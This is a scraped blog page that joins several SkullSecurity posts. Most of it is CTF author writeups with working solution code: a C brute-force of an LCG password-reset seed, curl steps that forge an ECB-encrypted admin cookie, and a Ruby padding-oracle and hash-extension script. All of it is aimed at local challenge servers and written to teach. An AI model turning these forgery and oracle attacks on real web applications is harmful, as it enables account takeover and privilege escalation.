    Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

    So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

    beez-fight [350]

    beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

    I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

    Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

    Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

    Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

    I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

    vhash + vhash-fixed [450]

    This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

    It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

    I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

    Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

    When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

    When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

    After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

    Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

    dnscap [500]

    dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

    I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

    nibbler [666]

    And finally, my old friend nibbler.

    At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

    I originally stored the scores in an array, and each 'fruit' would change between between worth 00 and FF points. You'd have to overflow the stack and build an exploit by gathering fruit with the snake. You'll notice that the name that I ask for at the start uses read() - that's so it can have NUL bytes so you can build a ROP-chain in your name.

    I realized that picking values between 00 and FF would take FOREVER, and wanted to get back to the original idea: nibbles! But I couldn't think of a way to make it realistic while only collecting 4-bit values.

    Eventually, I decided to drop the premise of performing an exploit, and instead, just let the user write shellcode that is run directly. As a result, it went from a pwn to a programming challenge, but I didn't re-categorize it, largely because we don't have programming challenges.

    It ended up being difficult, but solveable! One of my favourite writeups is here; I HIGHLY recommend reading it. My favourite part is that he named the snakes and drew some damn sexy images!

    I just want to give a shout out to the poor soul, who I won't name here, who solved this level BY HAND, but didn't cat the flag file fast enough. I shouldn't have had the 10-second timeout, but we did. As a result, he didn't get the flag. I'm so sorry. :(

    Fun fact: @bmenrigh was confident enough that this level was impossible to solve that he made me a large bet that less than 2 people would solve it. Because we had 9 solvers, I won a lot of alcohol! :)

    Conclusion

    Hopefully you enjoyed hearing a little about the BSidesSF CTF challenges I wrote! I really enjoyed writing them, and then seeing people working on solving them!

    On some of the challenges, I tried to teach something (or have a teachable lesson, something I can use when I teach). On some, I tried to make something pretty difficult. On some, I fell somewhere between. But there's one thing they have in common: I tried to make my own challenges as easy as possible to test and validate. :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### September » 2009 » SkullSecurity

    Zombie Web servers: are you one?

    Greetings! I found this excellent writeup of a Web-server botnet on Slashdot this weekend. Since it sounded like just the thing for Nmap to detect, I wrote a quick script!

    Scorched earth: Finding vulnerable SMBv2 systems with Nmap

    Hello once again! I just finished updating my smb-check-vulns.nse Nmap script to check for the recent SMBv2 vulnerability, which had a proof-of-concept posted on full-disclosure. WARNING: This script will cause vulnerable systems to bluescreen and restart. Do NOT run this in a production environment, unless you like angry phonecalls. You have been warned!

    Random picture: Traffic control box

    I was going to do a post about Nmap today, but since their svn is having some issues, you're going to get something a little more fun (in my opinion)! My friend snapped this picture in Vancouver, BC near Stanley Park (the picture is geocoded, so check out the Exif data if you want to […]

    Scanning for Microsoft FTP with Nmap

    Hi all, It's been awhile since my last post, but don't worry! I have a few lined up, particularly about scanning HTTP servers with Nmap. More on that soon! In the meantime, I wanted to direct your attention to

    #####EOF##### Some crypto challenges: Author writeup from BSidesSF CTF » SkullSecurity


    Some crypto challenges: Author writeup from BSidesSF CTF

    Hey everybody,

    This is yet another author's writeup for BSidesSF CTF challenges! This one will focus on three crypto challenges I wrote: mainframe, mixer, and decrypto!

    mainframe - bad password reset

    mainframe, which you can view on the Github release immediately presents the player with some RNG code in Pascal:

      function msrand: cardinal;
      const
        a = 214013;
        c = 2531011;
        m = 2147483648;
      begin
        x2 := (a * x2 + c) mod m;
        msrand := x2 div 65536;
      end;
    

    If you reverse engineer that, or google a constant, you'll find that it's a pretty common random number generator called a Linear Congruential Generator. You can find a ton of implementations, including that one, on Rosetta Code.

    The text below that says:

    We don't really know how it's seeded, but we do know they generate password resets one byte at a time (12 bytes total) - rand() % 0xFF - and they don't change the seed in between.
    

    I had at least one question about that set up - since rand() % 0xFF at best can only be 255/256 possible values - but this is a CTF problem, right?

    To solve this, I literally implemented the gen_password() function in C (on the theory that it'll be fastest that way):

    int seed = 0;
    
    int my_rand() {
      seed = (214013 * seed + 2531011) & 0x7fffffff;
      return seed >> 16;
    }
    
    void gen_password(uint8_t buffer[12]) {
      uint32_t i;
    
      for(i = 0; i < 12; i++) {
        buffer[i] = my_rand() % 0xFF;
      }
    }
    
    void print_hex(uint8_t *hex) {
      uint32_t i;
      for(i = 0; i < 12; i++) {
        printf("%02x", hex[i]);
      }
    }
    

    Then called it for each possible seed:

      int index;
      for(index = 0x0; index < 0x7FFFFFFF; index++) {
        seed = index;
    
        gen_password(generated_pw);
    
        if(!memcmp(generated_pw, desired, 12)) {
          printf("Found it! Seed = %d\n", index);
          gen_password(generated_pw);
          printf("Next password: \n");
          print_hex(generated_pw);
          printf("\n");
          exit(0);
        }
      }
    

    Then I generated a test password: cfd55275b5d38beba9ab355b

    Put that into the program:

    $ ./solution cfd55275b5d38beba9ab355b
    ...
    Next password:
    126ab42e0de3d300260ff309
    

    And log in as root, thereby solving the question!

    In case you're curious, to implement this challenge I store the RNG seed in your local session. That way, people aren't stomping on each other's cookies!

    mixer - ECB block shuffle

    For the next challenge, mixer (Github link), you're presented with a login form with a first name, a last name, and an is_admin field. is_admin is set to 0, disabled, and isn't actually sent as part of the form submit. The goal is to switch on the is_admin flag in your cookie.

    When you log in, it sends the username and password as a GET request, and tells you to keep an eye on a certain cookie:

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=test&last_name=test' | grep 'Set-Cookie: user='
    Set-Cookie: user=a3000ad8bfaa21b7b20797c3d480601af63df911b378cf9729a203ff65d35ee723e95cf1d27d3a01758d32ea42bd52bb9b4113cd881549cb3edbc20ca3077726; path=/; HttpOnly
    

    Unfortunately for the player, the cookie is encrypted! We can confirm this by passing in a longer name and seeing a longer cookie:

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&last_name=test' | grep 'Set-Cookie'
    Set-Cookie: user=fbfaf2879c8e57b4ba623424c401915228bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b1fa044b6e8a48ecb5f6ee54aa10f36c037010895d9a22f694c7b0b415dc22107029f9e0eb4236189e29044158b50c0d0; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A; path=/; HttpOnly
    
    

    Not only is it longer, there's another important characteristic. If we break up the encrypted data into 128-bit blocks, we can see a pattern emerge:

    fbfaf2879c8e57b4ba623424c4019152
    28bb743e365ba0dbe6987df8a6c3af9b
    28bb743e365ba0dbe6987df8a6c3af9b
    28bb743e365ba0dbe6987df8a6c3af9b
    1fa044b6e8a48ecb5f6ee54aa10f36c0
    37010895d9a22f694c7b0b415dc22107
    029f9e0eb4236189e29044158b50c0d0
    

    Notice how the second, third, and fourth blocks encrypt to the same data? That tells us that we're likely looking at encryption in ECB mode - electronic codebook - where each block of data is independently encrypted.

    ECB mode has a useful property called "malleability". That means that the encrypted data can be changed in a controlled way, and the decrypted version of the data will reflect that change. Specifically, we can move blocks of data (16 bytes at a time) around - rearrange, delete, etc.

    We can confirm this by sending back a user cookie with only the repeated field, which we can assume is a full block of As: "AAAAAAAAAAAAAAAA", twice (we also include the rack.session cookie, which is required to keep state):

    $ export USER=28bb743e365ba0dbe6987df8a6c3af9b28bb743e365ba0dbe6987df8a6c3af9b
    $ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWM3ZDY1NjRlNDFkMTkzODMxNWVi%0AYzFkYWZhNjljMGNkYWY3MzEzNTRiNzE0NmQ5NTRjZDQ0ODQxNTUwNmVjMGMG%0AOwBGSSIMYWVzX2tleQY7AEYiJe%2BrNKamgEXyzoed3PFi8cn7XWYz%2Fu0UnP9B%0AR1OIjrqX%0A
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Error
            

    Error parsing JSON: 765: unexpected token at 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

    Well, we know it's JSON! And we successfully created new ciphertext - simply 32 A characters.

    If you mess around with the different blocks, you can eventually figure out that the JSON object encrypted in your cookie, if you choose "First Name" and "Last Name" for your names, looks like this:

    {"first_name":"First Name","last_name":"Last Name","is_admin":0}
    

    We can colour the blocks to see them more clearly:

    {"first_name":"F
    irst Name","last
    _name":"Last Nam
    e","is_admin":0}
    

    So the "First Name" string starts with one character in the first block, then finished in the second block. If we were to make the first name 17 characters, the first byte would be in the first block, and the second block would be entirely made up of the first name. Kinda like this:

    {"first_name":"A
    AAAAAAAAAAAAAAAA
    AAAAAAAAA","last
    _name":"Last Nam
    e","is_admin":0}
    

    Note how 100% of the second block is controlled by us. Since ECB blocks are encrypted independently, that means we can use that as a building-block to build whatever customer ciphertext we want!

    The only thing we can't use in a block is quotation marks, because they'll be escaped (unless we carefully ensure that the \ from the escape is in a separate block).

    If I set my first name to some JSON-like data:

    t:1}             est
    

    And the last name to "AA", it creates the encrypted blocks:

    {"first_name":"t
    :1}             
    est","last_name"
    :"AA","is_admin"
    :0}             
    

    Then we can do a little surgury, and replace the last block with the second block:

    {"first_name":"t
    :1}              <-- Moved from here...
    est","last_name"
    :"AA","is_admin"
    :1}              <-- ...to here
    

    Or, put together:

    {"first_name":"test","last_name":"AA","is_admin":1}             
    

    Or just:

    {"first_name":"test","last_name":"AA","is_admin":1}
    

    So now, with encrypted blocks, we do the same thing. First encrypt the name t:1}             est / AA (in curl, we have to backslash-escape the { and convert   to +):

    $ curl -s --head 'http://localhost:1234/?action=login&first_name=t:1\}+++++++++++++est&last_name=AA' | grep 'Set-Cookie'
    Set-Cookie: user=bb9f8c6b5224a3eebbfe923d31c3ed04c275c360f2a1321f9916ddc88a158d0e10c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc07be6f8d314073bbf780b2b7bbb5f80; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A; path=/; HttpOnly
    

    Then split the user cookie into blocks, like we did with the encrypted text:

    bb9f8c6b5224a3eebbfe923d31c3ed04
    c275c360f2a1321f9916ddc88a158d0e
    10c9e456be5b2e62e9709eb06b1f54a0
    8f115ffefce89f2294fb29c2f2f32ecd
    c07be6f8d314073bbf780b2b7bbb5f80
    

    We literally switch the blocks around like we did before:

    bb9f8c6b5224a3eebbfe923d31c3ed04
    c275c360f2a1321f9916ddc88a158d0e <-- Moved from here...
    10c9e456be5b2e62e9709eb06b1f54a0
    8f115ffefce89f2294fb29c2f2f32ecd
    c275c360f2a1321f9916ddc88a158d0e <-- ...to here
    

    Which gives us the new user cookie, which we combine with the rack.session cookie:

    $ export USER=bb9f8c6b5224a3eebbfe923d31c3ed0410c9e456be5b2e62e9709eb06b1f54a08f115ffefce89f2294fb29c2f2f32ecdc275c360f2a1321f9916ddc88a158d0e
    $ export RACK=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTExOGFmODMzMjE0ZTA4OWE0OWYy%0ANGYzOTI4MzY1ZWMxNTY0ZGIyMWZhYmZjYzNiNTM5OGQ1MDk4OTA1NGRkMzYG%0AOwBGSSIMYWVzX2tleQY7AEYiJUrTUZz8H7iqi4W5CXOsTV5z4MCP0DTS7ZeI%0A5n02%2B7Xb%0A
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; rack.session=$RACK" | grep Congrats
          <p>And it looks like you're admin, too! Congrats! Your flag is <span class='highlight'>CTF{is_fun!!uffling_block_sh}</span></p>
    

    And that's the challenge! We were able to take advantage of ECB's inherent malleability to change our JSON object to an arbitrary value.

    decrypto - padding oracle + hash extension

    The final crypto challenge I wrote was called decrypto (github link), since by that point I had entirely lost creativity, and is a combination of crypto vulnerabilities: a padding oracle and a hash extension. The goal was to demonstrate the classic Cryptographic Doom Principle, by checking the signature AFTER decrypting, instead of before.

    Like before, this challenge uses the user= cookie, but additionally the signature= cookie will need to be modified as well.

    Here are the cookies:

    $ curl -s --head 'http://localhost:1234/' | grep 'Set-Cookie'
    Set-Cookie: signature=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8; path=/; HttpOnly
    Set-Cookie: user=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb; path=/; HttpOnly
    Set-Cookie: rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A; path=/; HttpOnly
    

    We'll have to maintain the rack.session cookie, since that's where our encryption keys are stored. We initially have no idea of what format the user= cookie decrypts to, and no matter how much you ask, I wasn't gonna tell you. You can, however, see a few fields if you look at the actual rendered page:

    Welcome to the mainframe!
    It looks like you want to access the flag!
    ...
    Please present user object
    ...
    ...scanning
    ...scanning
    ...
    Scanning user object...
    ...your UID value is set to 57
    ...your NAME value is set to baseuser
    ...your SKILLS value is set to n/a
    ...
    ERROR: ACCESS DENIED
    ...
    UID MUST BE '0'
    

    If we refresh, those values are still present, so we can assume that they're encoded into that value somehow. The cookie is, it turns out, exactly 64 bytes long.

    First, let's make sure we can properly request the page with curl:

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    $ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190adb
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK"
    [...]
       data.push("...your UID value is set to 52");
       data.push("...your NAME value is set to baseuser");
       data.push("...your SKILLS value is set to n/a");
    [...]
    

    One of the first things I always try when I see an encrypted-looking cookie is to change the last byte and see what happens. Now that we have a working curl request, let's try that:

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    $ export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190ade
    $ curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i error
        data.push("FATAL ERROR: bad decrypt")
    

    The decrypt fails if we set the last byte wrong! What if we set it to each of the 256 possible bytes?

    $ export RACK=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTE0ZDFlZWNmNjE5MjhhZTg3ZjQy%0AMzk5MGFhZjk0NGZiZDRkYjRjNTk1ODU0OTRkYzAyNzRlOWVjYmI1MGJmNGIG%0AOwBGSSILc2VjcmV0BjsARiINJB8WSMskiqBJIghrZXkGOwBGIiX%2Fz97Y3FAe%0AiIsMrhHmtd1Eh94IpIgj3FRdGcUcSKH0dg%3D%3D%0A
    $ export SIGNATURE=e66764f9e71824ad37a46732fb49838e6b65a36bcb7235e9286f6ed5bd84dfa8
    
    $ for i in `seq 0 255`; do export USER=e71606ae685181fefb03ad69309e6ad6b8f6a2e0ecc1dd08215bdf27e90c7399e8100767eee43fb6f403d41c733b856b53accf9d755d830d244501b088190a`printf '%02x' $i`; curl -s 'http://localhost:1234/' -H "Cookie: user=$USER; signature=$SIGNATURE; rack.session=$RACK" | grep -i 'error' | grep -v 'bad decrypt'; done
        data.push("FATAL ERROR: Bad signature!")
        data.push("ERROR: ACCESS DENIED");
    

    There are two errors that are NOT the usual "bad decrypt" one - one is "ACCESS DENIED" - our original - and the other is "Bad signature!". Hmm! This sounds an awful lot like a padding oracle vulnerability!

    Fortunately, I've written a tool for this!

    Here's my Poracle configuration file (just a file called Solution.rb in the same folder as Poracle.rb):

    # encoding: ASCII-8BIT
    
    ##
    # Demo.rb
    # Created: February 10, 2013
    # By: Ron Bowes
    #
    # A demo of how to use Poracle, that works against RemoteTestServer.
    ##
    
    require './Poracle'
    require 'httparty'
    require 'singlogger'
    require 'uri'
    
    # Note: set this to DEBUG to get full full output
    SingLogger.set_level_from_string(level: "DEBUG")
    L = SingLogger.instance()
    
    # 16 is good for AES and 8 for DES
    BLOCKSIZE = 16
    
    def request(cookies)
      return HTTParty.get(
        'http://localhost:1234/',
        follow_redirects: false,
        headers: {
          'Cookie' => "signature=#{cookies[:signature]}; user=#{cookies[:user]}; rack.session=#{cookies[:session]}"
        }
      )
    end
    
    def get_cookies()
      reset = HTTParty.head('http://localhost:1234/?action=reset', follow_redirects: false)
      cookies = reset.headers['Set-Cookie']
    
      return {
        signature: cookies.scan(/signature=([0-9a-f]*)/).pop.pop,
        user:      cookies.scan(/user=([0-9a-f]*)/).pop.pop,
        session:   cookies.scan(/rack\.session=([^;]*)/).pop.pop,
      }
    end
    
    # Get the initial set of cookies
    COOKIES = get_cookies()
    
    # This is the do_decrypt block - you'll have to change it depending on what your
    # service is expecting (eg, by adding cookies, making a POST request, etc)
    poracle = Poracle.new(BLOCKSIZE) do |data|
      cookies = COOKIES.clone()
      cookies[:user] = data.unpack("H*").pop
    
      result = request(cookies)
      #result.parsed_response.force_encoding("ASCII-8BIT")
    
      # Split the response and find any line containing error / exception / fail
      # (case insensitive)
      errors = result.parsed_response.split(/\n/).select { |l| l =~ /bad decrypt/i }
    
      # Return true if there are zero errors
      errors.empty?
    end
    
    data = COOKIES[:user]
    
    L.info("Trying to decrypt: %s" % data)
    
    # Convert to a binary string using pack
    data = [data].pack("H*")
    
    result = poracle.decrypt_with_embedded_iv(data)
    
    # Print the decryption result
    puts("-----------------------------")
    puts("Decryption result")
    puts("-----------------------------")
    puts result
    puts("-----------------------------")
    

    If I run it, it outputs:

    $ ruby ./Solution.rb
    I, [2019-03-10T14:57:29.516523 #24889]  INFO -- : Starting Poracle with blocksize = 16
    I, [2019-03-10T14:57:29.516584 #24889]  INFO -- : Trying to decrypt: 02e16b251f7077786a2bba0d82ce1e4fab04a1a088c681ed493156fb7ef14a7a20b0f63c99a74249f9c04192da896ae0b4105ea7e187de2d960ec95f5de6bbaa
    I, [2019-03-10T14:57:29.516604 #24889]  INFO -- : Grabbing the IV from the first block...
    I, [2019-03-10T14:57:29.519956 #24889]  INFO -- : Starting Poracle decryptor...
    D, [2019-03-10T14:57:29.520023 #24889] DEBUG -- : Encrypted length: 64
    D, [2019-03-10T14:57:29.520037 #24889] DEBUG -- : Blocksize: 16
    D, [2019-03-10T14:57:29.520047 #24889] DEBUG -- : 4 blocks:
    D, [2019-03-10T14:57:29.520070 #24889] DEBUG -- : Block 1: ["02e16b251f7077786a2bba0d82ce1e4f"]
    D, [2019-03-10T14:57:29.520085 #24889] DEBUG -- : Block 2: ["ab04a1a088c681ed493156fb7ef14a7a"]
    D, [2019-03-10T14:57:29.520098 #24889] DEBUG -- : Block 3: ["20b0f63c99a74249f9c04192da896ae0"]
    D, [2019-03-10T14:57:29.520110 #24889] DEBUG -- : Block 4: ["b4105ea7e187de2d960ec95f5de6bbaa"]
    ...
    [... lots of output ...]
    ...
    -----------------------------
    Decryption result
    -----------------------------
    UID 53
    NAME baseuser
    SKILLS n/a
    -----------------------------
    

    Aha, that's what the decrypted block looks like! Keep in mind that Poracle started its own session, so the values are different than they were earlier.

    What we want to do is append a UID 0 to the bottom:

    UID 53
    NAME baseuser
    SKILLS n/a
    UID 0
    

    But if we just use the padding oracle to encrypt that, we'll get an "Invalid Signature" error. Fortunately, this is also vulnerable to hash length extension! And, also fortunately, I wrote a tool for this, too, along with a super detailed blog about the attack!

    I added the following code to the bottom of Solution.rb:

    # Write it to a file
    File.open("/tmp/decrypt", "wb") do |f|
      f.write(result)
    end
    
    # Call out to hash_extender and pull out the new data
    append = "\nUID 0\n".unpack("H*").pop
    out = `./hash_extender --file=/tmp/decrypt -s #{COOKIES[:signature]} -a '#{append}' --append-format=hex -f sha256 -l 8`
    new_signature = out.scan(/New signature: ([0-9a-f]*)/).pop.pop
    new_data = out.scan(/New string: ([0-9a-f]*)/).pop.pop
    

    This dumps the decrypted data to a file, /tmp/decrypt. It then appends "\nUID 0\n" using hash_extender, and grabs the new signature/data.

    Then, finally, we add a call to poracle.encrypt to re-encrypt the data:

    # Call out to Poracle to encrypt the new data
    new_encrypted_data = poracle.encrypt([new_data].pack('H*'))
    
    # Perform the request to get the flag
    cookies = COOKIES.clone
    cookies[:user] = new_encrypted_data.unpack("H*").pop
    cookies[:signature] = new_signature
    puts(request(cookies))
    

    If you let the whole thing run, you'll first note that the encryption takes a whole lot longer than the decryption did. That's because it can't optimize for "probably English letters" going that way.

    But eventually, it'll finish and print out the whole page, including:

    ...
      data.push("...your UID value is set to 0");
      data.push("...your NAME value is set to baseuser");
      data.push("...your SKILLS value is set to n/a");
      data.push("...your �@ value is set to ");
      data.push("FLAG VALUE: <span class='highlight'>CTF{parse_order_matters}</span></p>");
    ...
    

    And that's the end of the crypto challenges! Definitely read my posts on padding oracles and hash extension, since I dive into deep detail!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### September » 2008 » SkullSecurity

    My Scripting Experience with Nmap

    As you can see from my past few posts, I've been working on implementing an SMB client in C. Once I got that into a stable state, I decided to pursue the second part of my goal for a bit -- porting that code over to an Nmap script. Never having used Lua before, this […]

    NTLMv2, as promised, plus some random SMB stuff!

    Last post, I promised I'd post about NTLMv2 once I got it implemented. And, here we are. The LMv2 and NTLMv2 responses are a little bit trickier than the first versions, although most of my trouble was trying to figure out how to use HMAC-MD5 in OpenSSL. The good news is that LMv2 and NTLMv2 […]

    #####EOF##### Conferences » SkullSecurity

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody, In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page. This post will be more […]

    BSidesSF CTF author writeup: genius

    Hey all, This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius! genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the […]

    BSidesSF CTF wrap-up

    Welcome! While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running […]

    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there! […]

    dnscat2: now with crypto!

    Hey everybody, Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default! Read on for some user information, then some implementation details for those who are interested! For […]

    BSides Winnipeg Wrap-up

    For those of you who are close to me, you'll know that my life has been crazy lately. Between teaching courses, changing jobs (here I come, Google!recently started at Google! (I'm slow at posting these :) )), and organizing BSides Winnipeg, I've barely had time to breathe! Things are still chaotic, of course (in fact, […]

    Padding oracle attacks: in depth

    This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github! At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a […]

    Ethics of password cracking/dissemination

    It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry!

    Faking demos for fun and profit

    This week Last week Earlier this month Last month Last year (if this intro doesn't work, I give up trying to post this :) ), I presented at B-Sides Ottawa, which was put on by Andrew Hay and others (and sorry I waited so long before posting this... I kept revising it and not publishing). […]

    Update on my life, conferences, career, etc

    Hey all! It's been awhile since I've written on my blog, and I apologize. I'm at a job now where I actually spend my day working instead of pondering, so it's hard to find time! :) So, what's new with me? I'm working on some cool new Nmap stuff right now, so I'm hoping to […]

    Who’s going to Shmoocon?

    Hey everybody, I'm heading to Shmoocon on Feb 4 - 8, so two things: a) Who wants to meet up? I have plans on the Saturday, but not much else yet. b) Please don't hack me while I'm gone. ;)

    Toorcon Slides

    Hey all, Thanks for everybody who came out to my Toorcon talk! I had a great weekend, even the part where I got stuck in San Fransisco and spent two full days getting home. Oops :) A couple people asked me if I'd put up my slides, so here you go: http://svn.skullsecurity.org:81/ron/security/2009-10-toorcon/2009-10%20Toorcon.pdf (If you want […]

    #####EOF##### October » 2010 » SkullSecurity

    Update on my life, conferences, career, etc

